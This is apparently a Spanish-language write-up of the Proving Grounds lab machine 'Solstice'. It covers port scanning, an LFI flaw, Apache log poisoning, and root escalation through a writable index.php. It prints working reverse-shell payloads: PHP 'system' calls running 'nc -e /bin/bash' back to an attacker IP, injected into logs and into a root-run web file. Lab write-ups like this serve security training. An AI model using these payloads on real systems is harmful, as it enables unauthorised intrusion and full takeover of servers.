🟢Solstice

Write-up de la máquina Solstice de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos enumerando que servicios tiene abiertos la máquina Solstice.

nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.237.72

Existen 8 puertos abiertos en la máquina víctima. Vamos a realizar un escaneo profundo de estos servicios.

nmap -p21,22,2580,2121,3128,54787,62524 -sVC -vvv 192.168.237.72

Enumeración Web

Tenemos tres puertos HTTP: 80, 8593 y 54787. Vamos a inspeccionar el contenido de los tres puertos.

El único puerto que parece devolver resultados es el 8593. Aquí encontramos la página de la biblioteca del sitio web.

Si nos fijamos en la URL, puede ser un posible punto vulnerable a LFI. Vamos a verificarlo.

Ahora que sabemos que la aplicación es vulnerable a LFI, trataremos de aprovechar la vulnerabilidad para obtener un shell. Una buena manera de hacerlo es mediante el envenenamiento de logs.

Probamos algunos archivos de logs interesantes (auth.log, mail.log, etc.), pero los únicos a los que pude acceder fueron los registros de access y error de Apache (/var/log/apache2/access.log y /var/log/apache2/error.log).

Sabemos que podemos acceder al registro de errores de Apache, donde es muy probable que podamos envenenar esto para obtener un shell.

Explotación

Sabiendo que la aplicación es vulnerable a LFI y que tenemos acceso a los logs del servidor, vamos a tratar de envenenar estos logs, añadiendo código PHP malicioso a a los logs. Para ello, ejecutamos de la siguiente manera:

echo "GET <?php system('nc -e /bin/bash 192.168.45.5 4444'); ?> HTTP/1.1" | nc 192.168.237.72 80 

Ponemos a la escucha un oyente nc en el puerto 4444. Para que funcione la shell debemos cargar en el navegador el archivo access.log.

Ya tenemos acceso de bajos privilegios en la máquina objetivo. Vamos a buscar la flag local.txt

Elevación de privilegios

Realizamos las diversas enumeraciones para buscar posibles puntos vulnerables.

*Cambio de IP

Buscamos todos los archivos y directorios con SUID

find / -user root -perm /4000 2>/dev/null

Encontramos un directorio extraño /var/tmp/sv. Vemos su contenido.

Después de ingresar al directorio, descubrimos que hay un index.php en este directorio donde todos los usuarios tienen permisos de lectura y escritura, y el propietario es root.

El propósito es obtener una shell reversa de un usuario escribiendo una carga útil y accediendo al archivo index.php debajo del sitio.

Enumeramos los servicios que se están ejecutando en la máquina víctima.

ps -ax

¿Qué tenemos hasta ahora? Un archivo donde www-data tiene permisos de escritura y lectura, y un servidor interno que se ejecuta como "root".

Sabiendo esto, vamos a modificar el archivo index.php para añadir la carga útil para ejecutar la reverse shell y trataremos de cargarlo a accediendo al puerto 57 a través de localhost de la máquina "solstice".

Modificamos index.php

echo "<?php system('nc 192.168.45.5 1234 -e /bin/bash'); ?>" > index.php

El siguiente paso será acceder a 127.0.0.1:57.

curl 127.0.0.1:57

Al mismo tiempo, en nuestra máquina de ataque tenemos a la escucha un oyente nc en el puerto 1234.

Como vemos, ya tenemos acceso a la máquina víctima con privilegios máximos. Solo quedará buscar la flag proof.txt

Last updated